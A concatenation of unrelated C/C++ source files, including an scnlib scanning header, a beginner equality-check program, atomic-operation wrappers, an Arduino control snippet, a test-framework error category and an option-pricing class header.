// Copyright 2017 Elias Kosunen // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // This file is a part of scnlib: // https://github.com/eliaskosunen/scnlib #ifndef SCN_SCAN_COMMON_H #define SCN_SCAN_COMMON_H #include "../detail/locale.h" #include "../detail/result.h" #include "../unicode/common.h" namespace scn { SCN_BEGIN_NAMESPACE namespace detail { template <typename CharT> constexpr int to_format(int i) { return i; } template <typename T> constexpr auto to_format(T&& f) -> decltype(string_view{SCN_FWD(f)}) { return {SCN_FWD(f)}; } template <typename T> constexpr auto to_format(T&& f) -> decltype(wstring_view{SCN_FWD(f)}) { return {SCN_FWD(f)}; } template <typename CharT> basic_string_view<CharT> to_format(const std::basic_string<CharT>& str) { return {str.data(), str.size()}; } template <typename CharT> struct until_pred { array<CharT, 4> until; size_t size; constexpr until_pred(CharT ch) : until({{ch}}), size(1) {} until_pred(code_point cp) { auto ret = encode_code_point(until.begin(), until.end(), cp); SCN_ENSURE(ret); size = ret.value() - until.begin(); } SCN_CONSTEXPR14 bool operator()(span<const CharT> ch) const { if (ch.size() != size) { return false; } for (size_t i = 0; i < ch.size(); ++i) { if (ch[i] != until[i]) { return false; } } return true; } static constexpr bool is_localized() { return false; } constexpr bool is_multibyte() const { return size != 1; } }; template <typename Error, typename Range> using generic_scan_result_for_range = decltype(detail::wrap_result( SCN_DECLVAL(Error), SCN_DECLVAL(detail::range_tag<Range>), SCN_DECLVAL(range_wrapper_for_t<Range>))); template <typename Range> using scan_result_for_range = generic_scan_result_for_range<wrapped_error, Range>; } // namespace detail template <typename T> struct discard_type { discard_type() = default; }; /** * Scans an instance of `T`, but doesn't store it anywhere. * Uses `scn::temp` internally, so the user doesn't have to bother. * * \code{.cpp} * int i{}; * // 123 is discarded, 456 is read into `i` * auto result = scn::scan("123 456", "{} {}", scn::discard<T>(), i); * // result == true * // i == 456 * \endcode */ template <typename T> discard_type<T>& discard() { return temp(discard_type<T>{})(); } template <typename T> struct scanner<discard_type<T>> : public scanner<T> { template <typename Context> error scan(discard_type<T>&, Context& ctx) { T tmp; return scanner<T>::scan(tmp, ctx); } }; SCN_END_NAMESPACE } // namespace scn #endif
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=// // Простой пример вычисления равенства с помощью возвращения логического значения // V 1.0 // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=// #include <iostream> using namespace std; bool isEqual(int x, int y) { return (x == y); } int main() { cout << "Enter 1 num: "; int firstNum = 0; cin >> firstNum; cout << "Enter 2 num: "; int secondNum = 0; cin >> secondNum; cout << boolalpha; isEqual(firstNum, secondNum) ? cout << "is Equal" : cout << "is not Equal"; return 0; } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=// // END FILE // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=//
#include <algorithm> #include <iostream> using namespace std; int main() { pair<int, int> coo[3]; int miy = 1000, may = 0; for (int i = 0; i < 3; ++i) { cin >> coo[i].first >> coo[i].second; miy = min(miy, coo[i].second); may = max(may, coo[i].second); } sort(coo, coo + 3); cout << (may - miy) + (coo[2].first - coo[0].first) + 1 << "\n"; for (int y = miy; y <= may; ++y) { cout << coo[1].first << " " << y << endl; } for (int x = coo[0].first; x < coo[1].first; ++x) { cout << x << " " << coo[0].second << endl; } for (int x = coo[1].first + 1; x <= coo[2].first; ++x) { cout << x << " " << coo[2].second << endl; } return 0; }
#ifndef OMTALK_UTIL_ATOMIC_H_ #define OMTALK_UTIL_ATOMIC_H_ #include <type_traits> namespace omtalk { // https://gcc.gnu.org/onlinedocs/gcc/_005f_005fatomic-Builtins.html#g_t_005f_005fatomic-Builtins enum MemoryOrder : int { RELAXED = __ATOMIC_RELAXED, CONSUME = __ATOMIC_CONSUME, ACQUIRE = __ATOMIC_ACQUIRE, RELEASE = __ATOMIC_RELEASE, ACQ_REL = __ATOMIC_ACQ_REL, SEQ_CST = __ATOMIC_SEQ_CST, }; template <typename T> T atomicLoad(T *addr, MemoryOrder order = SEQ_CST) { return __atomic_load_n(addr, int(order)); } template <typename T> void atomicStore(T *addr, T value, MemoryOrder order = SEQ_CST) { __atomic_store_n(addr, value, int(order)); } template <typename T> T atomicExchange(T *addr, T value, MemoryOrder order = SEQ_CST) { return __atomic_exchange_n(addr, value, int(order)); } template <typename T> bool atomicCompareExchange(T *addr, T expected, T desired, MemoryOrder succ = SEQ_CST, MemoryOrder fail = RELAXED) { return __atomic_compare_exchange_n(addr, &expected, desired, int(succ), int(fail), false); } } // namespace omtalk #endif // OMTALK_UTIL_ATOMIC_H_
bool vaciado(){ if(tVaciado->IN(true)){ digitalWrite(bVaciado, HIGH); return false; } else{ digitalWrite(bVaciado, LOW); tVaciado->IN(false); return true; } } bool entradaAgua(){ }
/* Copyright (c) 2022 Xavier Leclercq Released under the MIT License See https://github.com/ishiko-cpp/test-framework/blob/main/LICENSE.txt */ #include "TestFrameworkErrorCategory.hpp" using namespace Ishiko; const TestFrameworkErrorCategory& TestFrameworkErrorCategory::Get() noexcept { static TestFrameworkErrorCategory theCategory; return theCategory; } const char* TestFrameworkErrorCategory::name() const noexcept { return "Ishiko::TestFrameworkErrorCategory"; } std::ostream& TestFrameworkErrorCategory::streamOut(int value, std::ostream& os) const { switch (static_cast<Value>(value)) { case Value::generic_error: os << "generic error"; break; default: os << "unknown value"; break; } return os; } void Ishiko::Throw(TestFrameworkErrorCategory::Value value, const char* file, int line) { throw Exception(static_cast<int>(value), TestFrameworkErrorCategory::Get(), file, line); } void Ishiko::Fail(TestFrameworkErrorCategory::Value value, Error& error) noexcept { error.fail(TestFrameworkErrorCategory::Get(), static_cast<int>(value)); }
#ifndef AD_AMERICANEXPLICITMETHOD_H #define AD_AMERICANEXPLICITMETHOD_H #include "EuroExplicitMethod.hpp" template<typename X> class AmericanExplicitMethod : public EuroExplicitMethod<X> { public: AmericanExplicitMethod(Option<X> *_option, X xl, X xu, int _N, int _M); void solve(bool showStable = false) override; }; #include "AmericanExplicitMethod.tpp" #endif //AD_AMERICANEXPLICITMETHOD_H